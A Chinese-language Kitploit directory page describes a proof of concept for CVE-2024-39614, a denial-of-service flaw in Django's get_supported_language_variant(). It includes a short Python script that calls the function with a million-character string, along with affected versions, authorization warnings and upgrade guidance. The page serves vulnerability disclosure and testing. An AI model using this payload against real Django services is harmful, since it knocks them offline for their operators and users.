Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
-CVE-2024-39614 — CVE-2024-39614的概念验证,这是Django中的一个拒绝服务漏洞。演示了通过get_supported_language_variant()中的长字符串导致资源耗尽,影响Django 5.0.7之前和4.2.14之前的版本。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/-cve-2024-39614
漏洞分析漏洞利用Web安全渗透测试
GitHubabdurahmon3236/-cve-2024-39614

-CVE-2024-39614

CVE-2024-39614的概念验证,这是Django中的一个拒绝服务漏洞。演示了通过get_supported_language_variant()中的长字符串导致资源耗尽,影响Django 5.0.7之前和4.2.14之前的版本。

查看仓库
112年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Django 拒绝服务漏洞的概念验证 (PoC)

本仓库包含一个概念验证 (PoC) 脚本,用于演示 Django 5.0(5.0.7 之前版本)和 4.2(4.2.14 之前版本)中的拒绝服务 (DoS) 漏洞。该漏洞存在于 get_supported_language_variant() 函数中,在处理包含特定字符的超长字符串时容易受到潜在的 DoS 攻击。

目录

  • 漏洞描述
  • 设置与使用
    • PoC 脚本
  • 重要注意事项
  • 缓解措施

漏洞描述

CVE-ID:(待定)

概述:
Django 5.0(5.0.7 之前版本)和 4.2(4.2.14 之前版本)中的 get_supported_language_variant() 函数存在拒绝服务攻击漏洞。攻击者可通过发送包含特定字符的超长字符串来利用此函数,从而导致资源耗尽,进而造成拒绝服务。

受影响版本:

  • Django 5.0(5.0.7 之前版本)
  • Django 4.2(4.2.14 之前版本)

修复版本:

  • Django 5.0.7
  • Django 4.2.14

设置与使用

前提条件

  • Python 3.x
  • 已安装 Django(pip install django)

PoC 脚本

该脚本演示了攻击者如何通过向 get_supported_language_variant() 函数发送一个超长字符串来利用该漏洞。

将以下脚本保存为 dos_poc.py 并运行。

root@kitploit:~
import django
from django.utils.translation import get_supported_language_variant

# 检查 Django 版本
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] 此 Django 版本易受 DoS 攻击。")
else:
    print("[+] 此 Django 版本不易受攻击。请使用易受攻击的版本进行测试。")

# 生成包含特定字符的超长字符串
very_long_string = 'a' * 1000000 + '!'  # 根据需要调整长度和内容

def test_dos_vulnerability():
    try:
        # 触发漏洞
        get_supported_language_variant(very_long_string)
        print("[+] 成功使用超长字符串调用了 get_supported_language_variant。")
    except Exception as e:
        print(f"[-] 发生错误:{e}")

if __name__ == "__main__":
    test_dos_vulnerability()

说明

  1. 检查 Django 版本:脚本首先检查已安装的 Django 版本是否易受 DoS 攻击。
  2. 生成超长字符串:生成一个包含特定字符的超长字符串。根据需要调整长度和内容以触发漏洞。
  3. 测试函数:test_dos_vulnerability() 函数使用超长字符串调用 get_supported_language_variant() 来测试漏洞。
  4. 运行脚本:执行时,脚本将尝试利用漏洞并打印结果。

重要注意事项

  • 权限:确保你已获得明确许可才能测试目标系统上的此漏洞。未经授权的测试是非法的且不道德。
  • 测试环境:在受控环境中进行测试,以避免影响生产系统。
  • 资源消耗:此 PoC 可能消耗大量系统资源。请监控你的系统,并准备好必要时停止脚本。

缓解措施

为缓解此漏洞,请升级到修复版本的 Django:

  • Django 5.0.7
  • Django 4.2.14

按照官方的 Django 升级指南 将你的 Django 安装更新到最新的安全版本。

通过保持软件最新并遵循安全最佳实践,你可以防止诸如 Django 中此 DoS 问题之类的漏洞。

下载工具